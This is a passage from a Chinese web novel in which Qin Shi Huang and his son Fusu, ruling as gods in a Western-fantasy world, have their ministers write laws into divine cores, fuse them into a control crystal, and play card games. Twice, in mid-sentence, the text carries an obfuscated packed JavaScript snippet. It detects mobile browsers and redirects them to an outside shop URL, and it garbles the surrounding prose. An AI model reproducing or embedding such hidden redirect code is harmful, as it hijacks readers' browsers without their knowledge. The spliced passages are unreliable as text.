“吞噬祂的光明神并没有继承雷霆之力的意思,祂只想减少自己的竞争对手。所以祂将雷霆之神的神力转换成了光明神力吸收殆尽,根本不可能去费心维持雷霆的教派和其他东西。” 扶苏听完若有所思。 他闭着眼睛感受了一下神格的位置,发现他这个神格确实是个融合过很多神格的聚合体,可以随时把多余的神格剥离出来。 光明神吞掉的神格还不少。 扶苏把这个发现告诉了父亲。 父子俩几乎是同一时间得出结论——神格互相吞并到最后,一定会形成一个很有用的东西。 资格证这种存在,有一个就够了,谁会没事抢一大堆?又不是谁都和父子俩一样,想着把诸神全部换血。 光明神当初完全可以只吞噬能量,神格放到一边。 毕竟神界都是神,那些神自己又不缺神格,放着也不会出事。即便被神仆吞了,神仆只拿到资格证没有相应的神力,对付起来轻轻松松。 但祂却将神格融合了,融合后也没接手对方的信众。这不符合光明神的作风,正常情况下融合之后光明神应该同时经营多个教派、获得多重信仰才对。 即便这么做很麻烦,光明神也完全可以选择借雷霆之神的身份,将之前的教众洗脑驯化成光明教派的信仰者,而不是直接放任不管。 祂都选择放任了,还多此 一举吞个神格。扶苏试了一下,神格的融合和分离都挺费劲的。 那祂吞噬神格是为了什么? 秦政略一思索,问儿子要了两个剥离出来的神格。他拿着两个神格开始研究,神格到底还有什么别的作用。 扶苏也拿了两个,翻来覆去地查看。 过了片刻,秦政忽然说: “这些神格可以往里面输入内容,编辑规则。 扶苏扭头看过来: “怎么弄? 他伸出手指碰了碰父亲编辑过的神格,脑海里果然跳出了一行行内容。 秦政还在往里编辑内容: “朕之前就在奇怪,为什么触碰到一个神格,脑海中就会跳出这个神格对应的神位是什么。 这感觉就像碰到一个苹果后,眼前浮现两个大字“苹果 游戏世界才会发生这样的情况,是程序员提前设计好的提示。神格居然也有类似的设定,哪怕秦政忘记了电子游戏的存在,也下意识察觉到了不对。 所以秦政很快发现,神格确实不愧它资格证的身份。资格证上可以写字,这很合理对不对? 或许,比起资格证,它更像一份等待书写的合同或者规则记录器。 秦政拿的就是雷霆之神的神格,他将之前神仆说的雷池记录进去。考虑到如今已经没有雷霆之神的信众了,所以他思索片刻,写下了「雷系魔法充沛的地方会诞生天然雷池,辅助雷系修行」。 再用水镜寻找下界雷系魔法充沛的位置,果然找到了正在生成的雷池。 他再尝试着给雷池加上一些设定,规定了只有雷系的法师战士可以进入。 接着捏了个光系的神官幻影出来,投放到雷池附近,操控它靠近。发现元素互斥,根本进不去。 尝试结束,秦政还算满意: “神格上写的内容会直接在法则层面生效,所以其实根本不需要诸神就可以利用神格维持下界的运转。 而那些神明为了保证自己的利益,没有一个选择走这条路。 祂们不嫌麻烦地宁愿将多余的神格藏在自己的神格内部,也要防备神仆们拿到神格,发现这个秘密。进而意识到下界需要的其实不是神,而是神格,有了神格就用不上多余的神明了。 诸神当然不能叫凡人发现真相,那会威胁到他们的统治。哪怕有万分之一的概率导致凡人造反、屠神者出现,祂们也不愿意去赌。 扶苏知道该怎么做了: “神格的真正用法是编译和对应魔法元素相关的规则,这样下界就会按照规则行事。神明作为规则的制定者,拥有修改增减的权限,实际上是这世界的最高管理员之一。 结果管理员们为了提升自身实力,开始仗着权利在下界发展教派。该干的事情不干,也不乐意往里头书写规则。 甚至还会互相吞并,吞完就丢开不管了。作为管理员非常失职,但就是不改。 结果导致父子俩现在要加班。 看着上百的神格,两人已经预感到了工作量的繁重。不能再单独折腾了,得摇人一起。 两人先拿了几个神格回到神庭,剩下的就不带了。把它们带来还得将幻影一起带上,非常不方便。 韩信进门看见桌上凌乱地丢着几个水晶一样的东西,好奇地询问这是什么。 扶苏看了他一眼,摇摇头。 韩信:? 扶苏拿着个神格一边往里录入信息,一边和父亲说韩信指望不上,找他帮忙等于浪费时间。 韩信有点气恼: “圣子殿下! 他还什么都没干,怎么就嫌弃上他了? 秦政让他去把吴起和蒙恬叫来,其他人就不用叫了。而后又对儿子说可以把李斯等人抓过来帮忙,他们肯定能办好这件事。 录入法则有点像是秦政之前立法,而李斯擅长这件事。秦政招揽到李斯之后,后续的立法就都交给对方负责了,还让李斯去修订之前的律法。 在这方面,李斯确实比他家陛下要权威许多。始皇帝陛下有时候定的一些律令在细节上存在小问题,度控制得不太好,需要微调。 秦政并不在意这些小事,让他随便调整。最近李斯终于忙完了绝大多数的立法工作,接下来就是等着新情况发生后再进行补充。 毕竟有些情况,以前没遇到过的话,是很难凭空想象出来的。 就像古人不可能突然订立出一个“血液制品走私罪这样的罪名出来,他们就没见过拿血液去做基因研究这种事。 西幻大陆也有 很多类似的特有情况需要额外增加律法。但李斯还没见过得等见到了才会发现还有这种操作再针对性修订法律。 秦政觉得这就代表着李斯最近十分清闲正好可以抓来干活。 刚刚才结束加班的李斯:…… 除了李斯等几个从法度教廷抓来的壮丁很好用之外吴起在这方面也很好用。 到底是搞过变法的吴起他曾经在其他国家修订过律法现在上手自然没什么难度。 上百个神格这么一分每个人只需要负责三十多个了一下子轻松了很多。 李斯眉头舒展: “三十多个的话也不算特别多。” 然后他就见圣子殿下开始把神格进行剥离剥出了一个又一个。 光明神太能吞了其他神没他那么夸张但也吞了不少。等剥完又多出了上百个。 李斯:。 扶苏勉励他: “李斯主教你可以的 李斯:我不可以! 秦政还在旁边补刀: “等全部写好你再查漏补缺。” 还是让李斯当最后的质检他比较放心看到不合适的就能直接改了。 李斯深吸一口气: “神王陛下您对我的要求太高了我恐怕难以胜任。” 秦政眉头一皱: “这样吗?那空悬的教皇之位我还是在王绾他们当中考虑吧。” 王绾立刻就要答应下来李斯抢先表示他其实也没有那么难以胜任就是想诉诉苦让神明怜惜他而已。事情他能办不用劳烦其他人。 秦政满意地颔首: “去吧好好干。” 骑士们:…… 这群法度教廷的家伙真是奇葩。 有了下属帮忙干活而且还让扶苏发现了下属可以往死里压榨不用手软。他们都具备强大的抗压能力并不会因为工作太多就罢工。 于是扶苏理直气壮地把自己的那一份地分派了出去干脆一个都不干了。 李斯不敢怒也不敢言。 王绾为了争表现对此毫无异议。 吴起说什么都不接受加班看王绾干得起劲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658929|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就把圣子殿下分派来的多余神格丢给了王绾。 父子俩不管他们怎么折腾最后能把事情妥当地办好就行。 扶苏开始准备出行。 教皇出事之后各地的分教廷又一度出现过圣水断流的情况。这让各地的信众都十分惶恐担忧是不是神发怒了要厌弃他们。 毕竟教皇是所有信徒的代表人他做了那么多见不得光的事情难免让光明神迁怒其他人怀疑别的信徒是不是也这么邪恶。 为了安抚他们圣子殿下决定进行巡游。他将走遍大陆的每一处去每个分教廷都待上一个月亲自安抚当地信徒。 秦政自然要一起去他还得亲自保护儿子。 王绾一口气弄完了五个神格还想跑来找神王陛下邀功呢。结果一问才知道人走了他的努力无人在意。 冯去疾就问他: “那你要偷懒摆烂吗?” 王绾冷哼一声: “当然不!” 既然不能现在给陛下看他就多干一点。等陛下回来再一起检阅也不迟。 冯去疾:“……那你多干点。” 说着把自己拿到的神格分出了一些给王绾。 为了方便大家干活秦政把幻影们的体型缩小了。现在都是一个个巴掌大的娃娃这样藏在法度神教里就方便很多了。 唯一的问题就是这些幻影互相之间会吵架毕竟模拟的是诸神的性格。那些神互相之间关系不好不吵架才是怪事。 李斯嫌它们吵。 一开始还忍着后来忍不了了干脆全部用绳子绑起来拿东西堵住嘴巴。反正幻影又不需要吃喝拉撒不影响什么。 最后大家都有样学样几乎人手一个木盒里头塞满了幻影小人。时不时从里头拎一个出来剥离神格输入内容 而秦政父子则在外头愉快地旅游。 由于王都是率先开始实行法治的地方这一路过去经过的地方基本都已经被法度波及到了。 路上太平和乐得不可思议和扶苏当初从公国前往王都竞争圣子之位时完全不是一个画风。 之前路上经常能见到土匪拦路的只不过发现马车上坐的是圣子预备役后就自觉离开了不敢造次。 现在则是一个土匪都见不到,大家都被迫从良了。拦路抢劫会遭到审判,有手有脚的壮年男子做什么不好?到处都有招工,只是赚个辛苦钱不如抢劫来钱快。 进入城市之后,感受更加明显。 脏乱的街道整洁一新,因为乱丢垃圾要罚款。 教廷也提前做了布置,不允许流浪汉在大街上晃悠,避免他们冲撞了圣子殿下。要不是扶苏不许,他们还要搞清场。 可也不是所有教廷都听话的。 扶苏说不用清场,有些人就是容易想多,觉得这是场面话。上头领导客气一下说不用,你就真不搞了?那可不行,该搞还得搞。 还有的纯粹是怕得罪扶苏,不管如何非得拿出最好的来招待,说了也没用。 扶苏怀疑这是教皇留下的坏风气。 既然说了不听,他也就懒得再说了。反正他也不怎么出门,不会给居民生活带来太多不便。 因为要在各分廷都停留一个月的缘故,这一场巡游耗时将会非常久。这片大陆不小,分廷数量也多。 幸而扶苏划定的分廷都是拥有一定规模的,像那种小城里的小办事处,这种就不算了,不然高低得把所有城市走一遍。 扶苏一路走下去,前进的速度还没法度蔓延的速度快。所以每每抵达一个地方,当地就已经开始施行新规定了,再看不到以前的乱象。 期间因为法度的扩散,李斯遇到了许多新问题。不得不搁置了神格的编辑,先去忙这件事。 所以李斯的办事速度被拖慢了许多,扶苏大陆都逛了一半了,那头还没把神格的事情弄完。 秦政也没催他。 神格这个慢慢来不影响,扶苏经常给李斯压力只是因为缺德的圣子殿下想早点把事情办完,好试试看神格全部融合能有什么效果。 扶苏依然认定神格既然可以融合,就一定有它的用处。只是现在还不好轻举妄动,没把规则全部填好,他担心融合后就不让录入了。 这日扶苏来到了当初被骗吃骗喝的某个公国国都。 国王和此地的主教一起前来迎接。 国王激动地和扶苏拉家常: “当初殿下前往教廷时,我就觉得您一定可以当选。如今几年过去,您还是如此的气度不 凡。” 扶苏有一搭没一搭地听着他说场面话,脸上微笑的弧度一直没变,明眼人一看就知道他在应付。 国王识趣地结束了话题: “圣子殿下一路舟车劳顿,肯定已经累了,我就不打扰您了。” 扶苏的笑容这才真心了一些: “过几日举办宴会的时候,我们再叙旧。” 国王高高兴兴地走了。 秦政在这个分教廷里逛了一圈,看看扶苏之前住的环境如何。逛完勉强满意,回来又问儿子有没有受人欺负。 扶苏回忆了一下: “你应该问我有没有欺负人。” 秦政:好的,我明白了。 意思就是没受欺负了。 扶苏来了点兴致,跟父亲分享: “之前有个和我一起竞争名额的少年人,他觉得主教肯定会推荐我去教廷总部,因为我长得比他好看。他就偷偷跑去拍卖行购买药剂,想要变得更美。” 秦政倒是没听过这种药剂: “他买到了?” 扶苏摇头: “这种药剂都是黑魔法师的邪恶药剂,拍卖行怎么可能会有?过去之后没有找到,经人介绍去找黑暗法师购买。” “这次倒是买到了,但是喝完药剂回到教廷,却因为接触过黑暗法师,被圣骑士发现了体内的黑暗气息。圣骑士误以为他堕落成了黑暗法师,将他直接押到了主教跟前。” “其实只是接触的话不会沾染上黑暗气息,可他喝了黑暗法师制作的魔药。主教问清楚了情况之后,取消了他的参选资格。” 光明与黑暗势不两立。 这位少年跑去找黑暗法师购买药剂,在教廷看来就是立场不够鲜明。未来的圣子怎么能和黑暗教廷的人来往呢?圣子可不是普通的教众,这方面需要格外注意。 教廷选圣子虽然只是为了给光明神选神仆的,但分教廷不知道这件事。不少分教廷的做派还是比较清正的,哪里想得到教皇只挑天赋和长相。 这边的主教考虑到圣子的特殊身份,着重关注了一下大家的思想觉悟。结果教皇反而不在乎那些,他的一番苦心全部白费。 而且他这么千挑万选选出来的,误以为是真心追随光明神的扶苏,做的事情比之前那名 第 248 章 兴风作浪 第248章兴风作浪 扶苏在兽人领地玩得乐不思蜀,漂亮的黑色小猫崽得到了兽人们的一致宠爱。 至于他到底是哪家崽崽,之前怎么一直没有印象,兽人们倒是没有多想。毕竟族人太多了,根本数不过来,有个没见过的崽崽不要太正常。 扶苏玩得太快乐了,变成小猫后每天只想吃喝玩乐晒太阳,根本没有时间概念。等收到王绾那边的消息,说神格都填好了,才惊觉居然已经过去了好几年。 当时小猫咪正躺在父亲的腿上晒太阳,他准备先晒一会儿肚皮,再翻个身晒晒背。 秦政给他梳理蹭乱的小毛毛,几年过去,猫崽崽已经长大了不少。因为太小的话不好rua,大一点更适合摸毛。 突然收到消息,扶苏瞪圆了瞳孔: “喵喵!” 反应过来换成人话: “阿父!” 秦政摸了摸他肚皮上的软毛: “怎么了?” 扶苏调整了一下姿势抬头: “王绾他们已经把神格弄好了,我们可以回去看看神格融合之后是个什么模样了。” 秦政也有些意外: “这么快?” 他抱着儿子站起身: “那就回去看看,玩了几年也该干点正事了。” 秦政让在旁边追尾巴玩的蒙安转告将军们,他们要暂时离开一段时间,有事地府光屏联系。 小老虎蒙安抬头: “嗷呜!” 扶苏乖乖待在父亲怀里,有些得意地和阿父说悄悄话: “还是我比较聪明,已经学会用兽型说人话了。不像蒙安,天天嗷呜嗷呜的。” 秦政点了点他的小鼻头: “你最厉害,和小辈比什么?” 扶苏这才不说话了。 父子俩很快回到了法度教廷的驻扎地,王绾已经等候多时。见到陛下过来,赶紧行礼问安。 他都没敢多看陛下头顶的猫耳。 虽然早就在同僚们发的群消息里看到过了,但亲眼见到还是有点瞳孔地震。 至于陛下怀里的猫猫太子,那倒是没什么奇怪的。他们太子殿下为了撒娇本来就无所不用其极, 变成小猫根本不算什么大事。 秦政问道: “全都填完了?施行起来可有问题?” 王绾连忙回答: “应当无碍,商蔓用商会的人手四处探查消息,未曾反馈什么缺漏回来。” 其实一年前就填完了,但是担忧会有什么问题。到时候兴冲冲地告诉了陛下,结果这里出个疏漏那里出个疏漏,岂不是显得他办事办得很不利? 所以王绾压下了表功的心思,老老实实地搞了一年实践。确定没有任何问题之后,这才通知了陛下。 扶苏趴在父亲手臂上,百无聊赖地左看看右看看。没看到李斯他们,疑惑地问李斯去哪里了。 王绾幽怨地看一眼太子。 为什么太子殿下一来就找李斯? 以前也是这样,只和李斯亲近。然后他王绾因为和李斯是政敌,一不小心就容易得罪太子。 这世界上最悲哀的事情,就是你的政敌成了你老板的继承人的心腹,想讨好下一任老板都困难。 扶苏打了个哈欠。 秦政熟练地调整了一下姿势: “困了?你先睡,这里朕来处理。” 扶苏“咪呜”一声答应下来,一不注意又变回了小猫叫。 这个点是他平时睡午觉的时间点,之前晒太阳就是为了睡午觉做准备来着。结果被王绾叫来了,导致他午觉没能睡成,有些不习惯。 秦政摸了摸他脑袋,捂住他的眼睛让他睡,不用管别的。小猫咪不需要操心那么多,还有阿父在呢。 王绾顿时噤声。 他意识到自己通知君上的时机不太合适。 其实王绾通知人也是有点小心思的,他特意挑了午后,询问的还是太子。 当王绾时打的小算盘是下午有很长时间,可以慢慢处理神格的事情。但他又不确定陛下是否在午休,不能打扰,所以问问殿下,陛下是否方便前来。 结果陛下倒是不用午休,殿下需要。 王绾后知后觉地意识到自己不该通知殿下的,应该直接给陛下发消息询问。这样一来陛下肯定会把见面的时间往后推,等太子殿下睡饱了再来。 李斯这会儿才得到陛下前来的消息,匆匆赶过来。 见到这一幕,他有些幸灾 乐祸。 王绾这家伙还当现在是生前那会儿呢,行事风格也不知道改改。 以前太子天天担忧陛下的身体,把什么事情都替陛下打理得妥妥帖帖,不怎么顾得上自己休息放松。 现在可不同了,现在不用再担忧陛下生病驾崩,太子就放任自己当个无忧无虑只管承欢膝下的小孩了。 这种事情就不该拿去问殿下。 李斯走到王绾身边,无声地行了一个礼。他将提前写好的奏报呈上,跟因为不能开口说话打扰太子睡觉而显得有些木楞无措的王绾形成了鲜明对比。 好!这个对照组太好了!感谢王相公的倾力付出! 王绾用眼刀子射向李斯。 李斯则拉了个临时群,在群聊里打字向陛下汇报。 秦政抱着儿子坐下,把人放在腿上睡。自己慢悠悠翻着李斯写的报告,时不时看一眼群聊里的补充,还算满意。 王绾不甘示弱,也开始补充细节。 这方面他比李斯知道的多一点,毕竟李斯天天忙着律法的事情,精力自然被牵扯到了那头。 秦政点了点小猫咪的两只耳朵,暂时封住了儿子的听觉。然后才开口询问臣子一些细节,两人总算能说话了。 聊了一个时辰,腿上那只睡着了也一直在翻身动来动去的小猫咪终于苏醒。他懒洋洋地伸了个懒腰,抱住父亲的左手蹭了蹭,发出了一声甜软的“喵呜”。 但是耳朵什么声音都听不见,难受地用脑袋直蹭父亲的手腕。秦政立刻被吸引了注意力,摸了摸他的耳朵给他解开禁制。 太子殿下总算舒服了。 秦政把他抱起来放在桌上: “朕让他们把神格都拿过来,你不是说想融合一下玩?” 扶苏坐在桌子上,尾巴甩了甩: “他们试过把神格全都融在一起吗?” 王绾抢先回答: “臣并未尝试过,不敢随意乱动。” 李斯则从储物戒里把装神格的木盒掏了出来,一堆漂亮的菱形水晶放在一起,任谁来看都猜不到这就是神格,看起来有点像产量很高的普通宝石。 李丞相将盒子恭恭敬敬地摆在了太子殿下面前,请殿下赏玩。 扶苏伸出小爪子拨弄了一下,抓不起 来。他突然生出好奇,于是弹出爪钩在神格表面划拉了一下,看看能不能给它划上几道痕迹。 结果当然是没有成功。 秦政伸手捏起一枚检查,里头内容填写得十分详尽。主要写的就是各种魔法元素的使用规则,没有像秦政上次那样,单纯地设置个雷池出来。 神格本来就应该用来填写基础规则,而后基于基础规则会演变出什么稀奇古怪的东西来,那是位面自己的事情。 王绾表示他有参考过其他西幻位面的基础规则,做过调整和添补。不然光靠他们这群对西幻了解不那么深的人,写的东西肯定错漏百出。 秦政还算满意: “不错。” 扶苏在盒子里拨来拨去,发出哗啦啦的碰撞声音。他觉得很好听,于是又玩了一会儿,直到秦政把他抱起来,不让他玩了。 扶苏无辜的用猫猫眼看阿父。 秦政捏捏他的小耳朵: “让你来干正事的,你就知道玩。” 小猫咪能有什么坏心眼呢,他只是太贪玩了一点。所以尾巴一扫,不小心就把父亲随手放在桌上的神格扫了下去,掉到了地上。 干完坏事悄悄去偷瞄父亲的表情,见秦政没生气,又偷偷伸出爪子,去推桌上的杯子。 猫咪天性爱干这个。 看到桌子边缘有东西就忍不住想往下推,看看推下去摔在地上会怎么样,然后又会被摔下去的动静吓到。 秦政及时拦了一下: “朕不说你,你还变本加厉了。” 果然小孩和小猫都是容易得寸进尺的小坏蛋,不能太过纵容了。 扶苏的小爪子被父亲抓住,惩罚似的捏了捏。扶苏收不回来,干脆变成了人形,几岁的小宝贝熟练地撒娇装乖。 “阿父,我错了。” 秦政这才松开儿子的小肉手: “变回成年,不许再玩了。” 扶苏本来是维持着小孩模样坐在父亲怀里的,听话地变回成年之后才想起来他还没从父亲身上下来。 赶紧起身,讨好地笑笑,在旁边坐下。挨着父亲问自己是不是太重了,有没有把阿父压坏。 秦政懒得搭理他: “自己把地上的东西捡起来。” 扶苏 只好弯腰去捡,结果李斯已经快人一步蹲下身将神格捡起了,不需要太子殿下再费心。 扶苏赞许地看了一眼: “爱卿还是一如既往的贴心。” 李斯矜持一笑: “这都是臣应该做的。” 没有叫太子亲自捡东西的道理,屋内没有侍从,自然该他们来做事。 王绾:…… 王绾有些懊恼,怎么又给李斯找到了逢迎媚上的机会? 扶苏随手又拿了一枚神格,开始尝试融合。融合完后检查了一下,发现无法进行修改了,所有词条都被锁定。 接着又融了一枚进去,果然还是锁定状态。不过随时可以把某个需要修改的神格剥离出来,单独修,这个倒是不影响。 确认有容错的余地之后,扶苏就开始放心大胆地融了。秦政见这么多神格,自然不能叫儿子一个人忙,便也拿起神格开始帮忙。 李斯很有眼力见地凑过来: “臣一起吧?” 秦政颔首答应。 就剩一个王绾了,他不敢干看着,默默凑过来干活。心里则在琢磨回去要多找点书看看,钻研学习一下别人是怎么讨好君上的。 四个人一起忙活,神格很快就全部融合好了。最后把四个融合体互融,就得到了一个散发着七彩光晕的透明水晶。 看起来倒是非常漂亮,而且比起之前单独的神格,更像个稀有珍贵充满神性的物品了。 如果说之前的神格摆在那里会被人误认成寻常宝石的话,这个绝对不会。一看就知道是神物,不敢轻易亵渎。 扶苏捏着它感受了一下: “阿父,我好像拥有了很多权限。但是还没有彻底解锁,少了一块。” 秦政思忖片刻,取出了自己那份属于法度之神的神格。差点忘了,还有这个。 陛下虽然把它给忘了,李斯和王绾倒是没忘。内容已经提前拟好,就差填进去了。 两名臣子互相合作,很快就把该填的填完。只是有些迟疑,不知道填完后是否还有疏漏,毕竟不曾测验过。 秦政直接把东西递给儿子: “左右随时可以取出来修改,先让太子尝试一下。” 扶苏将最后一块碎片纳入,神格的聚合体成功补全。 它开始散发出光芒来,自动漂浮在了半空。 想要挪动它是挪不了了,怎么试图伸手去挪,它都停留在当前位置。不过将其中一个神格剥离后,它就恢复了之前的状态,可以任人随意摆布。 扶苏越看越觉得眼熟: “有点像那种中控主脑。” 他伸手触碰,眼前就出现了一本《神王法则》的书籍虚影。收回手也不妨碍虚影的存在,可以翻开查阅。再点一次神格水晶,才会消失。 秦政翻了翻,书里的内容其实就是李斯王绾他们填入的那些。只不过书籍把某些部分标红了,似乎在提示他们这里用词不当或者这条规则不太合适,需要修改。 扶苏记得: “书籍封面好像有一支羽毛笔。” 他把书合上,书封上面确实有一只像是画出来的羽毛笔图案。但伸手去取,却能成功拿下来。 扶苏也是翻书的时候触碰到了,发现手感有些奇怪,才意识到它不是书封上的装饰图。 笔拿下来再翻开书,将不合适的词汇划掉,标红的字就空缺了。再斟酌着写下新的词,词语不合适会继续标红,合适的话就直接锁定了无法再修改。 羽毛笔只能纠错,无法删改适宜的正确内容。 扶苏改了两下就懒得改了,把书和笔转交给李斯,让他们两个改去。 二人改的速度飞快,只在法度相关的规则上多耗费了一些时间。别的规则标红都不多,只有这里存在大量标红。 两人忙碌了很长时间,期间父子俩就在旁边下棋玩。 最近地府光屏更新了桌游模式,可以通过投影将虚拟的棋盘棋子投放出来。这样就算手边没有棋牌,也不影响游戏。 就是手感有些差,毕竟是虚拟投影,根本碰不到实物。扶苏捏棋子的时候感觉自己在捏空气,或者说本来就是在捏空气,不太适应。 但这么玩确实很方便。 除了棋牌,还有别的桌游也能玩。之前扶苏经常和蒙安他们几个晚辈一起玩什么大富翁之类的,也是碰不到实物。 不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658930|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虚拟投影有个好处就是,只有自己能看见自己的牌。每个人看见的投影都不同,打牌不容易被人偷看。 虽然扶苏根本不用偷看,直接就能推算到别人手里大概会 有什么牌。要是纸牌游戏的话算得还会更准。 桓齮家的崽子桓越就抱怨这个设计就是针对游戏渣的毕竟游戏大佬不需要偷看只有他们这种游戏渣需要。 然后因为暴露了自己打牌经常偷看这件事被大家冷酷无情地赶下了牌桌不带他玩了。 桓越:……早知道就闭嘴了。 秦政也很喜欢这种游戏投影的设计。 因为他家太子这下没办法耍赖了以前下棋看快要输了就喜欢撒娇改棋局比如请父亲撤回一个落子。 但是投影这种就撤不了。 秦政含笑说道: “不是朕不肯让着你你也看到了游戏不准朕悔棋。” 扶苏只好抱怨游戏不合理: “我玩电子版的五子棋都有悔棋按钮的只要对面同意了就能悔怎么这里还不让悔了?” 最后太子殿下被杀了个片甲不留输得特别惨。因此坚决不肯再下了改成玩十点半这个猜牌博弈。 这个游戏的规则很简单就是抽牌相加。在相加点数不大于十点半的情况下比大小。 点数大于十点半就是自己爆牌了牌归对面所有。如果小于等于十点半那就一起摊牌看谁更大双方这一轮的牌就都归谁。平局就各自拿自己的牌。 等所有牌抽完计算自己赢得的牌总点数是多少多的人获得最终胜利。 这是个心里博弈的游戏。 如果双方都很了解彼此的话玩起来就很有意思了。 秦政抽出一张10 扶苏一看就知道父亲拿到了大牌也抽了一张抽出个5决定接着抽。又抽出一个4他顿了顿在思考要不要再抽一张。 秦政忽然开口: “朕是十点应该比你大。” 扶苏:…… 扶苏控诉道: “阿父你不要说话!” 他爹就是算准了自己更大所以说出来给儿子压力。 要么扶苏不抽了把九点拱手让人。要么扶苏再抽一张但很有可能超过十点半导致爆牌这样所有牌都归父亲秦政能拿到更大的数额。 扶苏果断放弃抽牌9点果然被秦 政拿走。 这次扶苏决定自己先抽不给父亲干扰他的机会。运气好一口气抽到了3点、半点和7点加起来正好半点的牌就是JQK。 他面色不变地对父亲说: “我不要了。” 秦政眼底的笑意加深把唯一牌的红桃A丢了出去: “1点朕也不要了。” 这轮只赚到了1点的扶苏:…… 所以说千万不要和特别了解你的人玩这种游戏你拿的牌到底多大他看你的反应就能猜到一二了。 李斯和王绾眼睁睁看着他们太子玩围棋被吊打玩牌也被吊打。明明平时太子打牌基本就没输过没想到十点半被陛下碾压得这么彻底。 扶苏也很无奈这个游戏不像别的打牌那么好算。而且父亲还一看就知道他拿了什么牌简直跟开了上帝视角一样。 好在扶苏也了解父亲 他看着手里的点数回忆了一下确定牌堆里已经没什么大牌了。所以哪怕手里的点数相加已经到了九点半他还是大胆地又抽了一张。 果然堵到一张A恰好压了父亲的10点获得这一轮的胜利。 扶苏开心地扬了扬唇角。 他和阿父的总牌差只剩11点了还剩的牌不多再来一轮如果能获胜这局就稳了。 秦政看着开心的小狐狸微微挑眉主动伸手去摸牌。 虽然他算牌不如儿子厉害但也是能算一算的。剩下的都是小牌而且牌数都不是很大其实先拿牌的占优势。 比如秦政拿到了一个6点和两个半点凑出了7点。 7点不算很高可秦政记得牌堆里剩下的三张牌是半点、2点和4点。他就算什么都不拿也稳赢而拿了则有可能拿到4点导致爆牌。 他思索了片刻还是摸了一张牌看了一眼。 扶苏看不到父亲的牌不知道父亲手里的点数多少。毫无防备地拿走最后两张牌凑出个两点半没牌了。 太子殿下的笑容缓缓消失。 但他很快反应过来如果自己是两点半那父亲手里的牌肯定爆了。他疑惑地看向父亲就见秦政随手把牌丢出来一共11点。 扶苏获胜,而且总分也是他赢了。 笑容重新回到了脸上,小孩子玩游戏是这样的,就是想赢。 不过只要扫一眼手牌的摆放顺序就知道,父亲最后拿走的那张4点完全是可以不拿的。不拿稳赢,拿了反而会输,他根本没必要去拿。 那他为什么还要拿呢? 李斯的吹捧总是很及时: “陛下还是如此宠爱殿下,故意送殿下获胜。 扶苏得意地哼了一声: “你知道的太多了。 秦政不由失笑: “赢了就这么高兴? 扶苏不玩了,坐回父亲身边。开开心心地把截图发到朋友圈里,去和大家炫耀自己有多受宠。 秦政并不在意游戏结果。 在拿到7点的时候,游戏实际上已经结束了,他也已经获得了胜利。之后再用爆牌来哄一哄儿子,不过是顺手为之,能让扶苏展颜就很划算。 扶苏也不在意自己是不是被让牌才赢的,比起这个,阿父肯为他费心才更让他在意一些。 朋友圈发出去。 小桥松很快评论: 「父亲您也只能靠这个赢了。」 扶苏呵了一声,回了一句: 「嫉妒你就直说。」 大桥松就很有眼力见: 「祖父同我下棋的时候就从来不会让着我。」 扶苏回道: 「还是你比较会说话。」 小桥松:……呵呵,马屁精! 玄景有点受不了他们: 「玩一局牌有什么好吵的,幼稚。」 然后他同时收获了两个桥松和一个扶苏的三重夹击,选择了闭麦。 秦政咔擦拍了一张,扶苏警觉地抬头,问阿父在拍什么。 秦政顺手发了朋友圈: 「和儿子拌嘴的梓桑(图片)」 扶苏:。 幼稚的梓桑获得了云爹们的点赞,扶苏看了一眼,发现短短时间点赞已经超过三千了,还在飞涨。 关键是云爹也就算了,怎么还有云哥云娘云祖宗?他爹朋友圈里人也太多了,加好友没有上限的吗? 秦政淡淡地说: “朕给几个大秦群里的群友都开了朋友圈权限。 第 249 章 【大秦系统】 第249章【大秦系统】 虽然太子在外头干坏事并没有被人抓到,还凑巧出现了一个倒霉的冤大头帮忙顶罪。但始皇帝陛下认为,再放任儿子出门晃悠的话,迟早要新仇旧恨连着一起被人揪出来。 所以秦政压着不让儿子往外跑,就连秦帝来要人都没要走。 秦帝有些意外: “这又是怎么了?” 秦政抓住想往外逃的小猫咪: “他在外头闯了祸,朕让他避避风头。” 秦帝觉得这有什么的: “便是有人寻上门来讨要说法,朕也不怕他们。阿苏在家中闷久了,还是要出门走走的。” 可能因为是被秦政和扶苏一起养大的缘故,秦帝很有些昭襄王的影子在身上。他大概是所有始皇帝里最死猪不怕开水烫的一个,从来没有他心虚的时候。 ——哪怕干坏事的是他儿子。 秦帝家的小扶苏被这么个爹亲手带大,可想而知也不是什么善茬。平时扶苏不在地府的时候,就是这小子上蹿下跳四处惹事。 所以对于被人找上门来告家长,秦帝同样是个熟练工。而且他的处理方式也很简单粗暴,就是谁来就命令兵马俑把谁揍一顿。 直接导致他们位面经常发展成打群架,隔三差五打群架,频繁到府君后来都懒得管了。反正他们都是你情我愿的,干脆地府律都给他们修一版适配打群架的。 现在,基本只要打架没有波及到无辜群众,那就当无事发生。关中区域被列入了战场,只让在这里头打。 其他热爱和平的关中居民烦不胜烦,只能把墓穴迁到关外去住了。 秦帝偷偷出手把扶苏搂了过去: “仲父你放心,阿苏跟着我肯定不会闯祸的。” 到时候他带扶苏回家去住几天,就算真的招惹到了谁,大不了再打几架就是。只要打不赢他,就得认栽。 秦政:…… 秦政问他: 